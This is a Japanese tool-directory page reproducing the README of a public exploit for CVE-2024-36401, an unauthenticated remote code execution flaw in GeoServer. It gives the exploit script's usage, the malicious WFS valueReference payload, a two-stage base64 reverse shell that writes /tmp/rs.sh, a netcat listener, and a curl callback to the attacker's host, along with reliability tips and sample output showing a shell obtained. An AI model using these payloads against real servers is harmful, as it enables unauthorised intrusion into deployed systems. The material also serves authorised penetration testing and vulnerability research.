Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-36401-poc — 認証不要のRCEエクスプロイト: GeoServer (CVE-2024-36401) 向け、OGCフィルターXPathインジェクションを介した。リバースシェルおよびブラインドコマンド実行をサポートし、自動バージョン検出とフィーチャータイププロービングを備えています。 | Kitploit
ツール/GitHubGitHub/delt-a/cve-2024-36401-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミングリモートアクセスツール
GitHubdelt-a/cve-2024-36401-poc

CVE-2024-36401-poc

認証不要のRCEエクスプロイト: GeoServer (CVE-2024-36401) 向け、OGCフィルターXPathインジェクションを介した。リバースシェルおよびブラインドコマンド実行をサポートし、自動バージョン検出とフィーチャータイププロービングを備えています。

リポジトリを見る
133ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-36401 — GeoServer OGC XPath インジェクション RCE

Python CVE CVSS License

GeoServer向けの、OGCフィルターvalueReferenceパラメータインジェクション(XPath/JXPath評価)を介した未認証リモートコード実行エクスプロイト。

免責事項: このツールは、許可された侵入テストおよびセキュリティ研究のみを目的としています。自分が所有していない、または明示的な書面による許可を得ていないシステムに対して使用しないでください。作者は、このツールの誤用または損害について一切の責任を負いません。


目次

  • 概要
  • 影響を受けるバージョン
  • 技術的詳細
  • 必要条件
  • インストール
  • 使用方法
  • 使用例
  • 動作原理
  • トラブルシューティング
  • 参照

概要

GeoServerは、地理空間データを共有するためのオープンソースのJavaサーバーであり、政府、企業、研究環境で広く展開されています。CVE-2024-36401は、認証されていない攻撃者が、OGC(Open Geospatial Consortium)フィルターパラメータにJava式を注入することで、ホスト上で任意のOSコマンドを実行することを可能にします。

この脆弱性は、実際の悪用が確認されたため、2024年7月に**CISAの既知の悪用された脆弱性(KEV)**カタログに追加されました。


影響を受けるバージョン

ブランチ脆弱性範囲修正バージョン
2.23.x< 2.23.62.23.6
2.24.x< 2.24.42.24.4
2.25.x< 2.25.22.25.2

2.23.0より古いGeoServerバージョンも影響を受ける可能性がありますが、サポート終了でありテストされていません。


技術的詳細

GeoServerは、OGCフィルター式を評価するためにGeoToolsライブラリを使用しています。valueReferenceパラメータ(およびCQL_FILTERなどのその他のパラメータ)は、Apache Commons JXPathのJXPathContext.selectNodes()にサニタイズなしで渡されます。

JXPathは、次のような式を介して任意のJavaメソッドの呼び出しをサポートします:

exec(java.lang.Runtime.getRuntime(), 'id')

この評価は、特定のエンドポイントでは認証前に行われるため、脆弱性は完全に未認証となります。

脆弱なエンドポイント:

  • POST /geoserver/wfs — GetPropertyValueリクエスト(valueReferenceあり)
  • GET /geoserver/ows — クエリ文字列による同じパラメータ

重要な技術的注意点: valueReference式では、コマンド文字列をシングルクォート(')で囲む必要があります。ダブルクォート(")を使用するとXML解析に失敗し、実行が妨げられます。これは他の公開PoCでよくある落とし穴です。


必要条件

  • Python 3.9+
  • requestsライブラリ
  • 少なくとも1つのWFSフィーチャタイプが利用可能な脆弱なGeoServerバージョンを実行しているターゲット(デフォルトのサンプルデータワークスペースsf、topp、tigerで十分)

インストール

git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests

または、依存関係を直接インストール:

pip3 install requests

使用方法

usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                  [-c CMD] [-f FEATURE]

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target URL, e.g. http://<TARGET>:8080
  -l, --lhost LHOST     Your IP address for reverse shell callback
  -p, --lport LPORT     Listener port (default: 4444)
  -c, --cmd CMD         Single command to execute (no output returned)
  -f, --feature FEATURE Feature type override (auto-detected if omitted)

モード

モードフラグ説明
リバースシェル-l LHOST -p LPORTbashによる2段階リバースシェル
コマンド実行-c CMD単一コマンドの実行(ブラインド - 出力なし)
フィーチャタイプの上書き-f FEATURE自動検出をスキップし、指定されたタイプを使用

使用例

1. リバースシェル(推奨)

まずリスナーを起動:

nc -lvnp 4444

次にエクスプロイトを実行:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444

期待される出力:

   _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
 / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
\____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
   ___
  <  /
  / /
 / /
/_/

  GeoServer OGC XPath Injection RCE  |  CVE-2024-36401
  Unauthenticated  |  CVSS 9.8  |  Affects < 2.25.2 / 2.24.4 / 2.23.6

[*] Target : http://<TARGET>:8080

[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites

[*] Feature type : sf:archsites
[*] Listener      : <LHOST>:4444
[*] Start         : nc -lvnp 4444

[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener

リスナー側:

Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$

2. コマンド実行(ブラインド)

出力を受け取らずにコマンドを実行します。アウトオブバンド検証やファイルのドロップに便利です:

# ファイル作成による実行確認
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "touch /tmp/pwned"

# curlコールバックをトリガーして実行確認
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "curl http://<LHOST>:8000/pwned"

注:シェルのメタ文字(>、|、&、;)を含むコマンドは、解析の問題を避けるために自動的にbase64エンコードされます。


3. 手動でフィーチャタイプを指定

自動検出が失敗した場合は、ターゲットから既知のフィーチャタイプを指定します:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444 \
  -f topp:states

GeoServerサンプルデータに含まれる一般的なフィーチャタイプ:

ワークスペースフィーチャタイプ
sfsf:archsites, sf:bugsites, sf:roads, sf:streams
topptopp:states, topp:tasmania_cities, topp:tasmania_roads
tigertiger:giant_polygon, tiger:poi, tiger:tiger_roads
citecite:Buildings

動作原理

エクスプロイトは、悪意のあるvalueReference式を含むGetPropertyValue WFSリクエストを送信します:

<wfs:GetPropertyValue service='WFS' version='2.0.0'
  xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>
    exec(java.lang.Runtime.getRuntime(),'COMMAND')
  </wfs:valueReference>
</wfs:GetPropertyValue>

リバースシェルでは、exec()の単一文字列引数内のシェルメタ文字の問題を回避するために、2段階アプローチが使用されます:

ステージ1 — base64エンコードとシェルの中かっこ展開を使用して、リバースシェルを/tmp/rs.shに書き込みます(exec文字列内にスペースなし):

bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}

ステージ2 — スクリプトを実行:

bash /tmp/rs.sh

このアプローチにより、最初のexec()呼び出しでシェルインタプリタを必要とせず、さまざまなシステム構成で信頼性が高まります。


トラブルシューティング

[-] ターゲットに接続できません

  • ターゲットのURLとポートが正しいことを確認してください
  • GeoServerが実行中であることを確認:curl http://<TARGET>:8080/geoserver/web/

[-] 使用可能なフィーチャタイプが見つかりません

  • GeoServerサンプルデータがインストールされていない可能性があります
  • -f <workspace>:<type>でカスタムフィーチャタイプを指定してみてください
  • 利用可能なタイプを一覧表示:curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"

[+] ペイロードが配信されました が、シェルを受信できません`

  • エクスプロイトを送信する前にリスナーが実行中であることを確認
  • ファイアウォールルールを確認 — ターゲットがあなたのLHOST:LPORTに到達できる必要があります
  • 一部のPoCではコマンドをダブルクォート(")で囲みますが、これは機能しません。valueReference式内ではシングルクォート(')を使用してください。

[!] バージョンX.X.Xはパッチが適用されている可能性があります — それでも試行します

  • スクリプトはバージョン検出に関係なく常にエクスプロイトを試行します
  • Aboutページが制限されている場合、バージョン検出が失敗する可能性がありますが、エクスプロイトは成功する可能性があります

参照

  • NVD — CVE-2024-36401
  • GitHub Advisory — GHSA-7g64-hx6g-4427
  • GeoServer Security Advisory
  • CISA KEV Catalog
  • GeoTools JXPath Patch

ライセンス

このプロジェクトはMITライセンスの下で提供されています。詳細についてはLICENSEを参照してください。

ツールをダウンロード